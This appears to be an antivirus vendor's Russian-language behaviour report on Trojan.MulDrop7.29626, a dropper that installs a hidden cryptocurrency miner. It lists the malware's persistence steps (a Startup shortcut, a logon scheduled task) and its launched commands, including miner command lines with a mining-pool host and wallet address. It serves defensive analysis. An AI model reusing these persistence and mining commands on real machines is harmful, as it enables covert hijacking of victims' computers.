Trojan.MulDrop7.29626

Техническая информация

Для обеспечения автозапуска и распространения:

Создает или изменяет следующие файлы:

%HOMEPATH%\Start Menu\Programs\Startup\LostWindowsHost.lnk

Вредоносные функции:

Создает и запускает на исполнение:

'<SYSTEM32>\wscript.exe' "C:\ProgramData\DriversI\START.vbs"
'<SYSTEM32>\wscript.exe' "%ProgramFiles%\Skype\1.vbs"

Запускает на исполнение:

'C:\ProgramData\DriversI\lost.exe' --server equihash.eu.nicehash.com --port 3357 --user 1N42F914S6rFJ6Q1oQgo2ZthaiJQcqQR7G --pass x --cuda_devices 0 1 2 3 --templimit 75
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\1.tmp\start.bat" --server equihash.eu.nicehash.com --port 3357 --user 1N42F914S6rFJ6Q1oQgo2ZthaiJQcqQR7G --pass x --cuda_devices 0 1 2 3 --templimit 75 "
'<SYSTEM32>\cmd.exe' /C C:\programData\DriversI\lost.exe --server equihash.eu.nicehash.com --port 3357 --user 1N42F914S6rFJ6Q1oQgo2ZthaiJQcqQR7G --pass x --cuda_devices 0 1 2 3 --templimit 75
'<SYSTEM32>\taskkill.exe' /f /im rutserv.exe
'C:\ProgramData\taskmnr\taskmnr.exe'
'<SYSTEM32>\cmd.exe' /c ""C:\ProgramData\DriversI\AMD\start.bat" "
'<SYSTEM32>\cmd.exe' /c ""C:\ProgramData\DriversI\CUDA\start.bat" "
'<SYSTEM32>\cmd.exe' /c ""C:\ProgramData\DriversI\CPU\start.bat" "
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\2.tmp\start.bat" --server equihash.eu.nicehash.com --port 3357 --user 1N42F914S6rFJ6Q1oQgo2ZthaiJQcqQR7G --pass x --cuda_devices 0 1 2 3 --templimit 75 "
'<SYSTEM32>\cmd.exe' /c ""%TEMP%\3.tmp\start.bat" --server equihash.eu.nicehash.com --port 3357 --user 1N42F914S6rFJ6Q1oQgo2ZthaiJQcqQR7G --pass x --cuda_devices 0 1 2 3 --templimit 75 "
'<SYSTEM32>\cmd.exe' /c ""%ProgramFiles% (x86)\System\install.bat" "
'<SYSTEM32>\schtasks.exe' /create /SC ONLOGON /TN Update /TR "C:\ProgramData\taskmnr\taskmnr.exe"
'<SYSTEM32>\cmd.exe' /c ""%ProgramFiles%\Skype\1.bat" "
'<SYSTEM32>\cmd.exe' /c ""%ProgramFiles%\Hack\Hack\Z.bat" "
'%ProgramFiles%\Hack\Hack\1.exe'
'%ProgramFiles%\Hack\Hack\A.exe'
'<SYSTEM32>\wscript.exe' "%ProgramFiles% (x86)\System\install.vbs"
'C:\ProgramData\DriversI\GPU.exe'
'C:\ProgramData\Skype\build.exe'
'%ProgramFiles%\Skype\Update.exe' -p123 -dc:\ProgramData\Skype
'C:\ProgramData\Skype\GPU.exe'